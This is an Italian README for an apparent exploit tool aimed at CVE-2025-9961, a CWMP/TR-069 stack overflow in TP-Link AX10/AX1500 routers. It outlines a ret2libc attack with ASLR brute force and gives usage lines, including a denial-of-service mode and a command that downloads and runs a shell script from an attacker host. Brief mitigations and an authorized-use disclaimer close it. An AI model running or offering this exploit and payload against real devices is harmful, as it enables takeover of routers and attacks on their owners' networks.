CVE-2025-9961

TP-Link AX10/AX1500 CWMP Buffer Overflow RCE

Panoramica

Stack-based buffer overflow in CWMP (TR-069) che porta all'esecuzione remota di codice.

Flusso di Attacco

flowchart LR
    A[Attacker] --> B["Malicious ACS"]
    B --> C["SetParameterValues"]
    C --> D["Stack Overflow"]
    D --> E["Overwrite PC"]
    E --> F["ret2libc"]
    F --> G["system()"]
    G --> H["RCE"]

Dettagli Tecnici

La vulnerabilità è nel processo cwmp che gestisce le richieste SOAP SetParameterValues. L'input viene utilizzato per calcolare la dimensione del buffer senza controlli sui limiti.

Sfruttamento:

• Usa ret2libc per chiamare system()
• Bypass di ASLR tramite forza bruta
• I riavvii del servizio permettono tentativi ripetuti

Utilizzo

python exploit.py <target_ip> --check-only

python exploit.py 192.168.0.1 --dos

python exploit.py 192.168.0.1 -c "wget http://attacker/shell.sh -O /tmp/s; sh /tmp/s"

Parametri

Requisiti

Nessuno (usa la libreria standard)

Mitigazione

• Aggiornare al firmware corretto
• Disabilitare TR-069/CWMP
• Limitare l'accesso alla porta 7547

Dichiarazione di non responsabilità

Solo per test di sicurezza autorizzati.